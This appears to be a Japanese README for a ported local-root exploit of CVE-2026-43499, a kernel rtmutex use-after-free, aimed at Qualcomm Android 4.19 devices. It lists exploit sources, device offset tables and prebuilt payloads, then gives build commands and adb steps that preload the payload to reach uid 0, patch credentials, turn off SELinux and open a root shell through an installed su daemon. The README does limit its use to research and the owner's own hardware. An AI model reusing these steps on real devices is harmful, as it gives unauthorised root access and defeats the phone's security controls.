
CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF ローカルルート PoC(Qualcomm Android 4.19 カーネル向けに適合、Redmi K40 / Snapdragon 870 クラス)、LD_PRELOAD ベース
CVE-2026-43499 を悪用したローカル権限昇格 — rtmutex の remove_waiter() バグにより、struct rt_mutex_waiter がウェイターのカーネルスタック上にダングリング状態で残る(kernel/locking/rtmutex.c、CWE-416 use-after-free)。
NebuSec/CyberMeowfia(IonStack/CVE-2026-43499、Apache-2.0)を Qualcomm Android 4.19.x ベンダーカーネルファミリー向けに移植したもの。
4.19.157-perf-g9607d8651312(qcom、clang 10.0.7、SMP PREEMPT、aarch64)futex_requeue() のプロキシロックロールバックが remove_waiter() を呼び出す際、waiter->task ではなく current に対して操作を行う — pi_lock なしの rb-tree デキュー、pi_blocked_on のダングリング化、カーネルスタック上の UAF につながる。影響は 5.10/5.15/6.1/6.6/6.12/6.18/7.0 の修正版まで。4.19 にはバックポートがなく(EOL)、そのため 4.19.157-perf は影響を受ける。src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file は .read/.write の fops スロットに配置され(4.19 のシグネチャ)、読み取りプリミティブは簡略化された count/page/ppos=0 フェイクバッファレイアウトを使用する/dev/ashmem)が存在しない — プレフィックス長 0selinux_blob_sizes が存在しない → cred->security を直接参照(SELINUX_CRED_BLOB_OFF=0)。struct seccomp に filter_count はないASHMEM_MISC_FOPS = miscdevice.fops スロット(ashmem_misc + 0x10)Android NDK を使用した Linux / WSL:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
出力: prebuilt/preload.so(LD_PRELOAD ペイロード)と、組み込みの su_daemon PIE。
ADB シェルが必要(通常の非特権 adb shell で十分 — エクスプロイトは完全に非特権で実行され、自身を昇格させる)。
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
オプションのワンライナー版:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
すべての pr_* 行は、即時の write()+fsync() でディスクにミラーリングされるため、カーネルパニック / 再起動後もトレースが残る:
/sdcard/Download/log_<timestamp>.txt
/sdcard が利用できない場合のフォールバックパス: /sdcard/Downloads、/data/local/tmp/log_<timestamp>.txt。
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
主なログマーカー:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — ペイロードがロードされたslide-kaslr-ok ... base=... — KASLR ベースを復元pipe-physrw-summary ... root=1 ... — phys RW をインストールuid_before=... uid_after=0 ... selinux=1->0 — creds をパッチ適用UNVERIFIED を出力する — このログを使ってデバイスごとに調整すべきステージはここである。target.h でフラグが立てられ、実行時に UNVERIFIED としてログ記録される。fsync ログを使ってデバイス上で反復調整すること。CONFIG_STATIC_USERMODEHELPER=y は modprobe パスのトリックを無効にする。主要な経路は直接の cred パッチ適用である。/proc/kallsyms)と /proc/slabinfo を使って、使用する正確なビルドでオフセットが正しいことを検証すること。Apache-2.0(アップストリーム: NebuSec/CyberMeowfia)。セキュリティ研究および許可を得たデバイスの root 化のみを対象とする。自分が所有するハードウェア上でのみ使用すること。